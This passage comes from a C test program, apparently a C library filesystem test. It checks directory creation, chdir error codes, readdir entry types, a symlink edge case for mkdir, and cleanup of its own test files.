(buf); if (dir2 == NULL) { printf ("cannot open new directory: %m\n"); exit (1); } if (fstat64 (dirfd (dir2), &st2) < 0) { printf ("cannot fstat new directory \"%s\": %m\n", buf); exit (1); } if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino) { printf ("stat of new directory failed: (%lld,%lld) vs (%lld,%lld)\n", (long long int) st1.st_dev, (long long int) st1.st_ino, (long long int) st2.st_dev, (long long int) st2.st_ino); exit (1); } if (mkdir ("another-dir", 0777) < 0) { printf ("cannot create \"another-dir\": %m\n"); exit (1); } fd = open ("and-a-file", O_RDWR | O_CREAT | O_EXCL, 0666); if (fd == -1) { printf ("cannot create \"and-a-file\": %m\n"); exit (1); } close (fd); /* Some tests about error reporting. */ errno = 0; if (chdir ("and-a-file") >= 0) { printf ("chdir to \"and-a-file\" succeeded\n"); exit (1); } if (errno != ENOTDIR) { printf ("chdir to \"and-a-file\" didn't set correct error\n"); result = 1; } errno = 0; if (chdir ("and-a-file/..") >= 0) { printf ("chdir to \"and-a-file/..\" succeeded\n"); exit (1); } if (errno != ENOTDIR) { printf ("chdir to \"and-a-file/..\" didn't set correct error\n"); result = 1; } errno = 0; if (chdir ("another-dir/../and-a-file") >= 0) { printf ("chdir to \"another-dir/../and-a-file\" succeeded\n"); exit (1); } if (errno != ENOTDIR) { printf ("chdir to \"another-dir/../and-a-file\" didn't set correct error\n"); result = 1; } /* We now should have a directory and a file in the new directory. */ rewinddir (dir2); while (readdir64_r (dir2, &direntbuf, &d) == 0 && d != NULL) { if (strcmp (d->d_name, ".") == 0 || strcmp (d->d_name, "..") == 0 || strcmp (d->d_name, "another-dir") == 0) { #ifdef _DIRENT_HAVE_D_TYPE if (d->d_type != DT_UNKNOWN && d->d_type != DT_DIR) { printf ("d_type for \"%s\" is wrong\n", d->d_name); result = 1; } #endif if (stat64 (d->d_name, &st3) < 0) { printf ("cannot stat \"%s\" is wrong\n", d->d_name); result = 1; } else if (! S_ISDIR (st3.st_mode)) { printf ("\"%s\" is no directory\n", d->d_name); result = 1; } } else if (strcmp (d->d_name, "and-a-file") == 0) { #ifdef _DIRENT_HAVE_D_TYPE if (d->d_type != DT_UNKNOWN && d->d_type != DT_REG) { printf ("d_type for \"%s\" is wrong\n", d->d_name); result = 1; } #endif if (stat64 (d->d_name, &st3) < 0) { printf ("cannot stat \"%s\" is wrong\n", d->d_name); result = 1; } else if (! S_ISREG (st3.st_mode)) { printf ("\"%s\" is no regular file\n", d->d_name); result = 1; } } else { printf ("unexpected directory entry \"%s\"\n", d->d_name); result = 1; } } if (stat64 ("does-not-exist", &st1) >= 0) { puts ("stat for unexisting file did not fail"); result = 1; } /* Free all resources. */ if (closedir (dir1) < 0) { printf ("closing dir1 failed: %m\n"); result = 1; } if (closedir (dir2) < 0) { printf ("second closing dir2 failed: %m\n"); result = 1; } if (rmdir ("another-dir") < 0) { printf ("cannot remove \"another-dir\": %m\n"); result = 1; } if (unlink ("and-a-file") < 0) { printf ("cannot remove \"and-a-file\": %m\n"); result = 1; } /* One more test before we leave: mkdir() is supposed to fail with EEXIST if the named file is a symlink. */ if (symlink ("a-symlink", "a-symlink") != 0) { printf ("cannot create symlink \"a-symlink\": %m\n"); result = 1; } else { if (mkdir ("a-symlink", 0666) == 0) { puts ("can make directory \"a-symlink\""); result = 1; } else if (errno != EEXIST) { puts ("mkdir(\"a-symlink\") does not fail with EEXIST\n"); result = 1; } if (unlink ("a-symlink") < 0) { printf ("cannot unlink \"a-symlink\": %m\n"); result = 1; } } if (chdir (srcdir) < 0) { printf ("cannot change back to source directory: %m\n"); exit (1); } if (rmdir (buf) < 0) { printf ("cannot remove \"%s\": %m\n", buf); result = 1; } free (objdir_copy1); free (objdir_copy2); if (result == 0) puts ("all OK"); return result; }